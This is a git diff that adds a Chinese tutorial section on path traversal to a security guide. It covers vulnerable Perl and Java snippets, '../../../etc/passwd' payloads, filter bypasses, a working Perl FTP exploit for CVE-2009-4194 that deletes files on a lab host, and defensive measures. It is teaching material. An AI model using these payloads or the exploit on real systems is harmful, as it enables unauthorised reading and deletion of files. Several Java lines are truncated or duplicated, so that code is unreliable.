diff --git a/base/security/Security.md b/base/security/Security.md index 5b7da0e..b825602 100644 --- a/base/security/Security.md +++ b/base/security/Security.md @@ -211,4 +211,169 @@ if (user.hasAccess("DELETE_ACCOUNT")) { - 以属性或者功能为核心的访问控制编码模型,从特性上来讲更易于构建功能丰富的访问控制系统。 - **记录所有的访问控制类事件** - - 所有的访问控制失效都应该有完整的记录,因为这些事件很可能成为恶意用户尝试寻找系统漏洞的线索。 \ No newline at end of file + - 所有的访问控制失效都应该有完整的记录,因为这些事件很可能成为恶意用户尝试寻找系统漏洞的线索。 + + +### 1.2 路径穿越:你的Web应用系统成了攻击者的资源管理器? +- 路径穿越 + - 那么什么是路径穿越呢?简单来说,你所构建的系统中有一个功能组件使用外部输入来构建文件名,而这个文件名会用来定位一个在受限目录的文件,如果文件名中既包含一些特 + 殊元素,又没有进行合理的过滤处理,就会导致路径被解析到受限文件夹之外的目录。 + +- 几种典型的攻击场景: + +- 1- + - 这里我们来看一种典型的社交网络应用代码,每个用户的配置文件都被存储在单独的文件中,所有文件被集中到一个目录里: +```shell +my $dataPath = "/users/example/profiles"; +my $username = param("user"); +my $profilePath = $dataPath . "/" . $username; + +// 并没有对用户传入的username参数进行验证 +open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath") +print "\n"; +``` +- 当用户尝试去访问自己的配置文件的时候,会组成如下路径: +```shell +/users/example/prfiles/hunter +``` +- 但是这里要注意的是上述代码并没有对用户传入的参数做验证,因此攻击者可以提供如下参数: +```shell +../../../etc/passwd +``` +- 通过拼接,攻击者将会得到一个完整的路径: +```shell +/users/example/profiles/../../../etc/passwd ==> /etc/passwd +``` +- 通过这条路径,攻击者就可以成功访问到 Linux 系统的 password 文件。 + +- 2- +- 下面这个代码在编写过程中考虑到输入的不安全性,采用了黑名单方式,过滤掉了输入中包含的../字符。 +```shell +my $username = GetUntrustedInput(); +// 黑名单方式过滤 +// 对username的过滤不严格 +$username = ~ s/\.\.\///; +my $filename = "/home/user/" . $username; +ReadAndSendFile($filename); +``` +- 但是值得注意的是,过滤代码中并没有使用/g这个全局匹配符,因此仅仅过滤掉了参数中出现的第一个../字符: +```shell +../../../etc/passwd => /home/user/../../etc/passwd +``` +- 所以攻击者仍然可以通过多层拼接来实现攻击 + +- 3- + - 如下代码也在编写中考虑到输入的不安全性,它采用了**白名单方式**,限制了路径: +```shell +String path = getInputPath(); +// 白名单方式过滤 +// 对path的限制不够严格 +if (path.startsWith("/safe_dir/")){ + File f = new File(path); + f.delete() f.delete() +} +``` +- 但是攻击者依然可以通过提供如下参数进行绕过: +```shell +/safe_dir/../etc/passwd +``` + +- 4- + - 如下代码通过在前端上传文件自动获取属性,凭借这样的方式限制用户输入: +```html +
+Choose a file to upload: + +
+ +
+``` +- 如下 Java Servlet 代码通过 doPost 方法接受请求,从 HTTP Request Header 中解析文件名,然后从 Request 中读取内容后再写入本地 upload 目录 +```java +public class FileUploadServlet extends HttpServlet { +... +protected void doPost(HttpServletRequest request, HttpServletResponse resp + response.setContentType("text/html"); + PrintWriter out = response.getWriter(); + String contentType = request.getContentType(); + // the starting position of the boundary header + int ind = contentType.indexOf("boundary="); + String boundary = contentType.substring(ind+9); + String pLine = new String(); + String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constan + // verify that content type is multipart form data + if (contentType != null && contentType.indexOf("multipart/form-data") + // extract the filename from the Http header + BufferedReader br = new BufferedReader(new InputStreamReader(reque +... + pLine = br.readLine(); + String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.l +... +// output the file to the local upload directory + try { +// 攻击者可以修改Request中的filename进行攻击 + BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLo + for (String line; (line=br.readLine())!=null; ) { + if (line.indexOf(boundary) == -1) { + bw.write(line); + bw.newLine(); + bw.flush(); + } + } //end of for loop + bw.close(); + } catch (IOException ex) { +... + } + // output successful upload response HTML page +} +// output unsuccessful upload response HTML page + else + {...} + }. + .. + } +``` +- 上述代码一方面没有对上传的文件类型进行检查(这节课我们不探讨这个安全问题),另一方面没有检查 filename 就直接进行了拼接,因此攻击者只需要通过 Burpsuite、ZAP 等 + Proxy 应用对 Request 进行拦截和修改 filename 属性即可利用路径穿越漏洞。 + +- 案例实战 + - CVE-2009-4194 + - 该漏洞是一个目录穿越漏洞,影响的软件版本是 Golden FTP Server 4.30 Free 以及Professional 版本、4.50 版本(未验证),允许攻击者通过 DELE 命令删除任意文件。 + +- 启动 MiTuan 中的 CVE-2009-4194 靶机,这是一个 Windows 7 系统,内置了 Golden FTP Server 4.30 版本,并且已经预先设置好了 FTP 共享路径: +```shell +C:\Users\sty\Desktop +``` +- 接下来构建我们的攻击程序,为了方便我们采用 Perl 语言。如果你使用的是 Mac 电脑,那么你可以无需配置环境,直接运行我们编写好的攻击程序体验效果: +```shell +use strict; +use Net::FTP +print "1"; +my $ftp = Net::FTP->new("52.81.192.166", Debug => 1) || die $@; +$ftp->login("anonymous", "") || die $ftp->message; +$ftp->cwd("/Desktop/") || die $ftp->message; +# This deletes the file C:\Users\sty\test.txt +$ftp->delete("../test.txt"); +$ftp->quit; +$ftp = undef; +``` +- 通过上述的代码,我们可以看到C:\Users\sty\test.txt文件已经被删除了,我们成功穿越了 FTP Server 的限制,实现了了任意文件的删除! + +- 防御方案 + - 在编码实现阶段: + - 假设所有的输入都是恶意的,使用“只接受已知的善意的”输入检查策略,也就是使用一些定义清晰且严格的参数格式; + - 输入都应该被解码为程序内部的处理格式,并且确保在应用系统没有被二次解码,防止攻击者通过编码或者二次编码进行绕过; + - 如果可能,为用户提供选项或者通过应用系统内部 ID 映射的方式进行对象访问,例如 ID 1 对应“info.txt”; + - 确保 Error Message 只包含最小必要信息,避免过于详细的信息展示,防止攻击者因此获取系统相关信息。 + - 在架构设计阶段: + - 确保所有客户端发生的安全检查,都在服务端完成第二次检查,这样做的目的是防止攻击者在客户端进行安全检查绕过; + - 使用成熟的库或者框架来使开发者更容易规避这种特定类型的风险。 + - 在防御建设阶段: + - 使用可以防御这种类型攻击的应用层防火墙,在某些特定情况下(比如应用系统漏洞无法修复)非常有效; + - 使用最小权限运行开发完毕的应用系统,如果可能,创建独立的受限账户用于应用系统运行; + - 使用沙箱环境运行开发完毕的应用系统,做好进程和系统之间的边界隔离。 \ No newline at end of file